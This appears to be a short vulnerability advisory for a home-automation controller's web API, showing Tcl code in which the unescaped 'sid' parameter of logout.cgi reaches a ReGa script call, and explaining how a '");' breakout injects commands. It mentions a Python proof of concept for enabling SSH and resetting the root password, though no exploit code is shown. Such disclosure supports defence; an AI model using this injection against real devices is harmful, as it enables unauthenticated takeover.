1. Description
   
File: /root/www/api/backup/logout.cgi
 
```
proc main { } {
    set sid [getQueryArg sid]
     
    if [catch { session_logout $sid}] { error LOGOUT }
     
    puts "Content-Type: text/plain"
    puts ""
    puts "OK"
}
```
 
`$sid` value is passed directly to `session_logout` function.
 
File: /root/www/tcl/eq3/session.tcl
 
```
proc session_logout { sid } {
  rega_exec "system.ClearSessionID(\"$sid\");"
}
```

`$sid` value is not escaped properly. 

We can close current rega script using `");` and execute our payload.
   
2. Proof of Concept
 
POC in Python which enable ssh access and change root password without any credentials.
